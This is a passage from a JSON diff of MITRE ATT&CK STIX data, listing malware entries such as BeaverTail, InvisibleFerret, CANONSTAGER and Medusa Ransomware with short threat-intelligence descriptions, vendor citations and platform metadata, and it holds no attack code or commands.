"https://attack.mitre.org/software/S1226", + "external_id": "S1226" + }, + { + "source_name": "Broadcom", + "description": "Broadcom Protection Bulletins. (2025, February 20). Bookworm malware linked to Fireant (aka Stately Tarurus) activity observed in Southeast Asia. Retrieved July 21, 2025.", + "url": "https://www.broadcom.com/support/security-center/protection-bulletin/bookworm-malware-linked-to-fireant-aka-stately-tarurus-activity-observed-in-southeast-asia" + }, + { + "source_name": "Unit42 Bookworm Nov2015", + "description": "Robert Falcone, Mike Scott, Juan Cortes. (2015, November 10). Bookworm Trojan: A Model of Modular Architecture. Retrieved July 21, 2025.", + "url": "https://unit42.paloaltonetworks.com/bookworm-trojan-a-model-of-modular-architecture/" + }, + { + "source_name": "Palo Alto Networks, Unit 42", + "description": "Robert Falcone. (2025, February 20). Stately Taurus Activity in Southeast Asia Links to Bookworm Malware. Retrieved July 21, 2025.", + "url": "https://unit42.paloaltonetworks.com/stately-taurus-uses-bookworm-malware/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "BOOKWORM" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--6055aee2-d1c6-4877-94e9-a3bde9936470", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-19 17:13:08.728000+00:00", + "modified": "2025-10-24 00:40:04.709000+00:00", + "name": "BeaverTail", + "description": "[BeaverTail](https://attack.mitre.org/software/S1246) is a malware that has both a JavaScript and C++ variant. Active since 2022, [BeaverTail](https://attack.mitre.org/software/S1246) is capable of stealing logins from browsers and serves as a downloader for second stage payloads. [BeaverTail](https://attack.mitre.org/software/S1246) has previously been leveraged by North Korea-affiliated actors identified as DeceptiveDevelopment or [Contagious Interview](https://attack.mitre.org/groups/G1052). [BeaverTail](https://attack.mitre.org/software/S1246) has been delivered to victims through code repository sites and has been embedded within malicious attachments.(Citation: PaloAlto ContagiousInterview BeaverTail InvisibleFerret November 2023)(Citation: Esentire ContagiousInterview BeaverTail InvisibleFerret November 2024)(Citation: ESET Contagious Interview BeaverTail InvisibleFerret February 2025)(Citation: Zscaler ContagiousInterview BeaverTail InvisibleFerret November 2024)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1246", + "external_id": "S1246" + }, + { + "source_name": "Esentire ContagiousInterview BeaverTail InvisibleFerret November 2024", + "description": "eSentire Threat Response Unit (TRU). (2024, November 14). Bored BeaverTail & InvisibleFerret Yacht Club \u2013 A Lazarus Lure Pt.2. Retrieved October 17, 2025.", + "url": "https://www.esentire.com/blog/bored-beavertail-invisibleferret-yacht-club-a-lazarus-lure-pt-2" + }, + { + "source_name": "ESET Contagious Interview BeaverTail InvisibleFerret February 2025", + "description": "Matej Havranek. (2025, February 20). DeceptiveDevelopment targets freelance developers. Retrieved October 17, 2025.", + "url": "https://www.welivesecurity.com/en/eset-research/deceptivedevelopment-targets-freelance-developers/" + }, + { + "source_name": "Zscaler ContagiousInterview BeaverTail InvisibleFerret November 2024", + "description": "Seongsu Park. (2024, November 4). From Pyongyang to Your Payroll: The Rise of North Korean Remote Workers in the West. Retrieved October 17, 2025.", + "url": "https://www.zscaler.com/blogs/security-research/pyongyang-your-payroll-rise-north-korean-remote-workers-west" + }, + { + "source_name": "PaloAlto ContagiousInterview BeaverTail InvisibleFerret November 2023", + "description": "Unit 42. (2023, November 21). Hacking Employers and Seeking Employment: Two Job-Related Campaigns Bear Hallmarks of North Korean Threat Actors. Retrieved October 17, 2025.", + "url": "https://unit42.paloaltonetworks.com/two-campaigns-by-north-korea-bad-actors-target-job-hunters/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "BeaverTail" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--3d1f234e-6c60-43c1-b1f1-6bbc9e5b8e44", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-09-12 17:20:43.806000+00:00", + "modified": "2025-10-22 19:06:49.198000+00:00", + "name": "CANONSTAGER", + "description": "[CANONSTAGER](https://attack.mitre.org/software/S1237) is a loader known to be leveraged by [Mustang Panda](https://attack.mitre.org/groups/G0129) and was first observed utilized in 2025. [Mustang Panda](https://attack.mitre.org/groups/G0129) utilizes DLL side-loading to execute within the victim environment prior to delivering a follow-on malicious encrypted payload. [CANONSTAGER](https://attack.mitre.org/software/S1237) leverages Thread Local Storage (TLS) and Native Windows APIs within the victim environment to elude detections. [CANONSTAGER](https://attack.mitre.org/software/S1237) also hides its code utilizing window procedures and message queues.(Citation: Google Threat Intelligence Group MUSTANG PANDA PLUGX August 2025)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1237", + "external_id": "S1237" + }, + { + "source_name": "Google Threat Intelligence Group MUSTANG PANDA PLUGX August 2025", + "description": "Patrick Whitsell. (2025, August 25). Deception in Depth: PRC-Nexus Espionage Campaign Hijacks Web Traffic to Target Diplomats. Retrieved September 9, 2025.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/prc-nexus-espionage-targets-diplomats" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "CANONSTAGER" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--15c7bcdb-23e1-4ce3-81a7-b109b4d2a4f1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-06-16 20:20:54.148000+00:00", + "modified": "2025-06-16 20:21:39.051000+00:00", + "name": "CASTLETAP", + "description": "[CASTLETAP](https://attack.mitre.org/software/S1224) is an ICMP port knocking backdoor that has been installed on compromised FortiGate firewalls by [UNC3886](https://attack.mitre.org/groups/G1048).(Citation: Mandiant Fortinet Zero Day)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1224", + "external_id": "S1224" + }, + { + "source_name": "Mandiant Fortinet Zero Day", + "description": "Marvi, A. et al.. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved March 22, 2023.", + "url": "https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "CASTLETAP" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--47e4b55a-7803-4bf5-822c-906a1ecbdd6e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-09-12 16:48:00.834000+00:00", + "modified": "2025-10-21 16:53:02.856000+00:00", + "name": "CLAIMLOADER", + "description": "[CLAIMLOADER](https://attack.mitre.org/software/S1236) is a malware variant that frequently accompanies legitimate executables that are used for DLL side-loading known to be leveraged by [Mustang Panda](https://attack.mitre.org/groups/G0129) and was first observed utilized in 2021.(Citation: IBM MUSTANG PANDA PUBLOAD CLAIMLOADER JUNE 2025)(Citation: 2025_IBM_PUBLOAD_TONESHELL_HIUPAN_CLAIMLOADER_MUSTANG PANDA)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1236", + "external_id": "S1236" + }, + { + "source_name": "IBM MUSTANG PANDA PUBLOAD CLAIMLOADER JUNE 2025", + "description": "Golo Muhr, Joshua Chung. (2025, June 23). Hive0154 aka Mustang Panda shifts focus on Tibetan community to deploy Pubload backdoor. Retrieved August 4, 2025.", + "url": "https://www.ibm.com/think/x-force/hive0154-mustang-panda-shifts-focus-tibetan-community-deploy-pubload-backdoor" + }, + { + "source_name": "2025_IBM_PUBLOAD_TONESHELL_HIUPAN_CLAIMLOADER_MUSTANG PANDA", + "description": "Golo Muhr, Joshua Chung. (2025, May 15). Hive0154 targeting US, Philippines, Pakistan and Taiwan in suspected espionage campaign. Retrieved August 4, 2025.", + "url": "https://www.ibm.com/think/x-force/hive0154-targeting-us-philippines-pakistan-taiwan" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "CLAIMLOADER" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--9fd4e24b-3b12-4c7c-925f-226e2e3c3758", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-09-12 15:42:09.663000+00:00", + "modified": "2025-10-21 16:53:28.335000+00:00", + "name": "CorKLOG", + "description": "[CorKLOG](https://attack.mitre.org/software/S1235) is a keylogger known to be leveraged by [Mustang Panda](https://attack.mitre.org/groups/G0129) and was first observed utilized in 2024. [CorKLOG](https://attack.mitre.org/software/S1235) is delivered through a RAR archive (e.g., src.rar), which contains two files: an executable (lcommute.exe) and the [CorKLOG](https://attack.mitre.org/software/S1235) DLL (mscorsvc.dll). [CorKLOG](https://attack.mitre.org/software/S1235) has established persistence on the system by creating services or with scheduled tasks.(Citation: Zscaler PAKLOG CorkLog SplatCloak Splatdropper April 2025)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1235", + "external_id": "S1235" + }, + { + "source_name": "Zscaler PAKLOG CorkLog SplatCloak Splatdropper April 2025", + "description": "Sudeep Singh. (2025, April 16). Latest Mustang Panda Arsenal: PAKLOG, CorKLOG, and SplatCloak | P2. Retrieved September 12, 2025.", + "url": "https://www.zscaler.com/blogs/security-research/latest-mustang-panda-arsenal-paklog-corklog-and-splatcloak-p2" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "CorKLOG" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--82adb90e-43b8-4bce-9efe-afeba65457b2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-19 20:17:15.905000+00:00", + "modified": "2025-10-20 15:39:50.311000+00:00", + "name": "Embargo", + "description": "[Embargo](https://attack.mitre.org/software/S1247) is a ransomware variant written in Rust that has been active since at least May 2024.(Citation: Cyble Embargo Ransomware May 2024)(Citation: ESET Embargo Ransomware October 2024) [Embargo](https://attack.mitre.org/software/S1247) ransomware operations are associated with \u201cdouble extortion\u201d ransomware activity, where data is exfiltrated from victim environments prior to encryption, with threats to publish files if a ransom is not paid.(Citation: Cyble Embargo Ransomware May 2024)(Citation: ESET Embargo Ransomware October 2024) [Embargo](https://attack.mitre.org/software/S1247) ransomware has been known to be delivered through a loader known as MDeployer which also leverages a malware component known as MS4Killer that facilitates termination of processes operating on the victim hosts.(Citation: ESET Embargo Ransomware October 2024) [Embargo](https://attack.mitre.org/software/S1247) is also reportedly a Ransomware as a Service (RaaS).(Citation: ESET Embargo Ransomware October 2024)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1247", + "external_id": "S1247" + }, + { + "source_name": "Cyble Embargo Ransomware May 2024", + "description": "Cyble. (2024, May 24). The Rust Revolution: New Embargo Ransomware Steps In. Retrieved October 19, 2025.", + "url": "https://cyble.com/blog/the-rust-revolution-new-embargo-ransomware-steps-in/" + }, + { + "source_name": "ESET Embargo Ransomware October 2024", + "description": "Jan Holman, Tomas Zvara. (2024, October 23). Embargo ransomware: Rock\u2019n\u2019Rust. Retrieved October 19, 2025.", + "url": "https://www.welivesecurity.com/en/eset-research/embargo-ransomware-rocknrust/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Embargo" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--da43312a-0188-4949-bab3-0df9a5df0aba", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-08-06 18:10:57.601000+00:00", + "modified": "2025-10-21 16:52:13.214000+00:00", + "name": "HIUPAN", + "description": "[HIUPAN](https://attack.mitre.org/software/S1230) (aka U2DiskWatch) is a is a worm that propagates through removable drives known to be leveraged by [Mustang Panda](https://attack.mitre.org/groups/G0129) and was first observed utilized in 2024. (Citation: 2025_IBM_PUBLOAD_TONESHELL_HIUPAN_CLAIMLOADER_MUSTANG PANDA)(Citation: Trend Micro MUSTANG PANDA PUBLOAD HIUPAN SEPTEMBER 2024)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1230", + "external_id": "S1230" + }, + { + "source_name": "2025_IBM_PUBLOAD_TONESHELL_HIUPAN_CLAIMLOADER_MUSTANG PANDA", + "description": "Golo Muhr, Joshua Chung. (2025, May 15). Hive0154 targeting US, Philippines, Pakistan and Taiwan in suspected espionage campaign. Retrieved August 4, 2025.", + "url": "https://www.ibm.com/think/x-force/hive0154-targeting-us-philippines-pakistan-taiwan" + }, + { + "source_name": "Trend Micro MUSTANG PANDA PUBLOAD HIUPAN SEPTEMBER 2024", + "description": "Lenart Bermejo, Sunny Lu, Ted Lee. (2024, September 9). Earth Preta Evolves its Attacks with New Malware and Strategies. Retrieved August 4, 2025.", + "url": "https://www.trendmicro.com/en_us/research/24/i/earth-preta-new-malware-and-strategies.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "HIUPAN" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--1996aed9-6234-4c1d-a145-e8a4913679dd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-08-05 18:12:15.228000+00:00", + "modified": "2025-10-24 03:07:43.276000+00:00", + "name": "Havoc", + "description": "[Havoc](https://attack.mitre.org/software/S1229) is an open-source post-exploitation command and control (C2) framework first released on GitHub in October 2022 by C5pider (Paul Ungur), who continues to maintain and develop it with community contributors. [Havoc](https://attack.mitre.org/software/S1229) provides a wide range of offensive security capabilities and has been adopted by multiple threat actors to establish and maintain control over compromised systems.", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1229", + "external_id": "S1229" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Havoc" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Enis Aksu" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--3d7048f1-012e-468c-a18b-1bf98037d62c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-22 20:27:28.937000+00:00", + "modified": "2025-10-24 02:56:50.170000+00:00", + "name": "HexEval Loader", + "description": "[HexEval Loader](https://attack.mitre.org/software/S1249) is a hex-encoded loader that collects host data, decodes follow-on scripts and acts as a downloader for the [BeaverTail](https://attack.mitre.org/software/S1246) malware. [HexEval Loader](https://attack.mitre.org/software/S1249) was first reported in April 2025. [HexEval Loader](https://attack.mitre.org/software/S1249) has previously been leveraged by North Korea-affiliated threat actors identified as [Contagious Interview](https://attack.mitre.org/groups/G1052). [HexEval Loader](https://attack.mitre.org/software/S1249) has been delivered to victims through code repository sites utilizing typosquatting naming conventions of various npm packages.(Citation: Socket Contagious Interview NPM April 2025)(Citation: Socket BeaverTail XORIndex HexEval Contagious Interview July 2025)(Citation: Socket HexEval BeaverTail Contagious Interview June 2025)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1249", + "external_id": "S1249" + }, + { + "source_name": "Socket Contagious Interview NPM April 2025", + "description": "Kirill Boychenko. (2025, April 4). Lazarus Expands Malicious npm Campaign: 11 New Packages Add Malware Loaders and Bitbucket Payloads. Retrieved October 20, 2025.", + "url": "https://socket.dev/blog/lazarus-expands-malicious-npm-campaign-11-new-packages-add-malware-loaders-and-bitbucket" + }, + { + "source_name": "Socket BeaverTail XORIndex HexEval Contagious Interview July 2025", + "description": "Kirill Boychenko. (2025, July 14). Contagious Interview Campaign Escalates With 67 Malicious npm Packages and New Malware Loader. Retrieved October 19, 2025.", + "url": "https://socket.dev/blog/contagious-interview-campaign-escalates-67-malicious-npm-packages" + }, + { + "source_name": "Socket HexEval BeaverTail Contagious Interview June 2025", + "description": "Kirill Boychenko. (2025, June 25). Another Wave: North Korean Contagious Interview Campaign Drops 35 New Malicious npm Packages. Retrieved October 19, 2025.", + "url": "https://socket.dev/blog/north-korean-contagious-interview-campaign-drops-35-new-malicious-npm-packages" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "HexEval Loader" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--1dac60f2-7d53-4a3e-95d1-cb2e875d5491", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-17 18:27:06.742000+00:00", + "modified": "2025-10-24 03:20:59.458000+00:00", + "name": "InvisibleFerret", + "description": "[InvisibleFerret](https://attack.mitre.org/software/S1245) is a modular python malware that is leveraged for data exfiltration and remote access capabilities.(Citation: ESET Contagious Interview BeaverTail InvisibleFerret February 2025)(Citation: Zscaler ContagiousInterview BeaverTail InvisibleFerret November 2024)(Citation: PaloAlto ContagiousInterview BeaverTail InvisibleFerret November 2023) [InvisibleFerret](https://attack.mitre.org/software/S1245) consists of four modules: main, payload, browser, and AnyDesk.(Citation: ESET Contagious Interview BeaverTail InvisibleFerret February 2025) [InvisibleFerret](https://attack.mitre.org/software/S1245) malware has been leveraged by North Korea-affiliated threat actors identified as DeceptiveDevelopment or [Contagious Interview](https://attack.mitre.org/groups/G1052) since 2023.(Citation: Recorded Future Contagious Inteview BeaverTail InvisibleFerret OtterCookie February 2025)(Citation: Zscaler ContagiousInterview BeaverTail InvisibleFerret November 2024)(Citation: PaloAlto ContagiousInterview BeaverTail InvisibleFerret November 2023)(Citation: PaloAlto Unit42 ContagiousInterview BeaverTail InvisibileFerret October 2024) [InvisibleFerret](https://attack.mitre.org/software/S1245) has historically been introduced to the victim environment through the use of the [BeaverTail](https://attack.mitre.org/software/S1246) malware.(Citation: Esentire ContagiousInterview BeaverTail InvisibleFerret November 2024)(Citation: ESET Contagious Interview BeaverTail InvisibleFerret February 2025)(Citation: Zscaler ContagiousInterview BeaverTail InvisibleFerret November 2024)(Citation: PaloAlto ContagiousInterview BeaverTail InvisibleFerret November 2023)(Citation: PaloAlto Unit42 ContagiousInterview BeaverTail InvisibileFerret October 2024)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1245", + "external_id": "S1245" + }, + { + "source_name": "Esentire ContagiousInterview BeaverTail InvisibleFerret November 2024", + "description": "eSentire Threat Response Unit (TRU). (2024, November 14). Bored BeaverTail & InvisibleFerret Yacht Club \u2013 A Lazarus Lure Pt.2. Retrieved October 17, 2025.", + "url": "https://www.esentire.com/blog/bored-beavertail-invisibleferret-yacht-club-a-lazarus-lure-pt-2" + }, + { + "source_name": "Recorded Future Contagious Inteview BeaverTail InvisibleFerret OtterCookie February 2025", + "description": "Insikt Group. (2025, February 13). Inside the Scam: North Korea\u2019s IT Worker Threat. Retrieved October 17, 2025.", + "url": "https://www.recordedfuture.com/research/inside-the-scam-north-koreas-it-worker-threat" + }, + { + "source_name": "ESET Contagious Interview BeaverTail InvisibleFerret February 2025", + "description": "Matej Havranek. (2025, February 20). DeceptiveDevelopment targets freelance developers. Retrieved October 17, 2025.", + "url": "https://www.welivesecurity.com/en/eset-research/deceptivedevelopment-targets-freelance-developers/" + }, + { + "source_name": "Zscaler ContagiousInterview BeaverTail InvisibleFerret November 2024", + "description": "Seongsu Park. (2024, November 4). From Pyongyang to Your Payroll: The Rise of North Korean Remote Workers in the West. Retrieved October 17, 2025.", + "url": "https://www.zscaler.com/blogs/security-research/pyongyang-your-payroll-rise-north-korean-remote-workers-west" + }, + { + "source_name": "PaloAlto ContagiousInterview BeaverTail InvisibleFerret November 2023", + "description": "Unit 42. (2023, November 21). Hacking Employers and Seeking Employment: Two Job-Related Campaigns Bear Hallmarks of North Korean Threat Actors. Retrieved October 17, 2025.", + "url": "https://unit42.paloaltonetworks.com/two-campaigns-by-north-korea-bad-actors-target-job-hunters/" + }, + { + "source_name": "PaloAlto Unit42 ContagiousInterview BeaverTail InvisibileFerret October 2024", + "description": "Unit42. (2024, October 9). Contagious Interview: DPRK Threat Actors Lure Tech Industry Job Seekers to Install New Variants of BeaverTail and InvisibleFerret Malware. Retrieved October 17, 2025.", + "url": "https://unit42.paloaltonetworks.com/north-korean-threat-actors-lure-tech-job-seekers-as-fake-recruiters/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "InvisibleFerret" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--0a615414-1dad-4131-802d-38f5d72ef852", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-06-09 20:44:45.459000+00:00", + "modified": "2025-06-09 20:46:49.622000+00:00", + "name": "MEDUSA", + "description": "[MEDUSA](https://attack.mitre.org/software/S1220) is an open-source rootkit that is capable of dynamic linker hijacking, command execution, and logging credentials.(Citation: Google Cloud Mandiant UNC3886 2024)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1220", + "external_id": "S1220" + }, + { + "source_name": "Google Cloud Mandiant UNC3886 2024", + "description": " Punsaen Boonyakarn, Shawn Chew, Logeswaran Nadarajan, Mathew Potaczek, Jakub Jozwiak, and Alex Marvi. (2024, June 18). Cloaked and Covert: Uncovering UNC3886 Espionage Operations. Retrieved September 24, 2024.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/uncovering-unc3886-espionage-operations" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "MEDUSA" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--bfcb4a75-b6f0-489b-b506-836bfba3d70e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-06-11 19:28:24.205000+00:00", + "modified": "2025-06-11 20:01:27.964000+00:00", + "name": "MOPSLED", + "description": "[MOPSLED](https://attack.mitre.org/software/S1221) is a shellcode-based modular backdoor that has been used by China-nexus cyber espionage actors including [UNC3886](https://attack.mitre.org/groups/G1048) and [APT41](https://attack.mitre.org/groups/G0096).(Citation: Google Cloud Mandiant UNC3886 2024)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1221", + "external_id": "S1221" + }, + { + "source_name": "Google Cloud Mandiant UNC3886 2024", + "description": " Punsaen Boonyakarn, Shawn Chew, Logeswaran Nadarajan, Mathew Potaczek, Jakub Jozwiak, and Alex Marvi. (2024, June 18). Cloaked and Covert: Uncovering UNC3886 Espionage Operations. Retrieved September 24, 2024.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/uncovering-unc3886-espionage-operations" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "MOPSLED" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--28d93902-30e7-4436-8885-6d312c51c9a3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-17 11:31:38.677000+00:00", + "modified": "2025-10-21 14:58:41.162000+00:00", + "name": "Medusa Ransomware", + "description": "[Medusa Ransomware](https://attack.mitre.org/software/S1244) has been utilized in attacks since at least 2021. [Medusa Ransomware](https://attack.mitre.org/software/S1244) has been known to be utilized in conjunction with living off the land techniques and remote management software. [Medusa Ransomware](https://attack.mitre.org/software/S1244) has been used in campaigns associated with \u201cdouble extortion\u201d ransomware activity, where data is exfiltrated from victim environments prior to encryption, with threats to publish files if a ransom is not paid. [Medusa Ransomware](https://attack.mitre.org/software/S1244) software was initially a closed ransomware variant which later evolved to a Ransomware as a Service (RaaS). [Medusa Ransomware](https://attack.mitre.org/software/S1244) has impacted victims from a diverse range of sectors within a multitude of countries, and it is assessed [Medusa Ransomware](https://attack.mitre.org/software/S1244) is used in an opportunistic manner.(Citation: CISA Medusa Group Medusa Ransomware March 2025)(Citation: Security Scorecard Medusa Ransomware January 2024)(Citation: Palo Alto Unit 42 Medusa Group Medusa Ransomware January 2024)(Citation: Broadcom Medusa Ransomware Medusa Group March 2025)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1244", + "external_id": "S1244" + }, + { + "source_name": "Palo Alto Unit 42 Medusa Group Medusa Ransomware January 2024", + "description": "Anthony Galiette, Doel Santos. (2024, January 11). Medusa Ransomware Turning Your Files into Stone. Retrieved October 15, 2025.", + "url": "https://unit42.paloaltonetworks.com/medusa-ransomware-escalation-new-leak-site/" + }, + { + "source_name": "CISA Medusa Group Medusa Ransomware March 2025", + "description": "Cybersecurity and Infrastructure Security Agency. (2025, March 12). AA25-071A #StopRansomware: Medusa Ransomware. Retrieved October 15, 2025.", + "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-071a" + }, + { + "source_name": "Broadcom Medusa Ransomware Medusa Group March 2025", + "description": "Threat Hunter Team 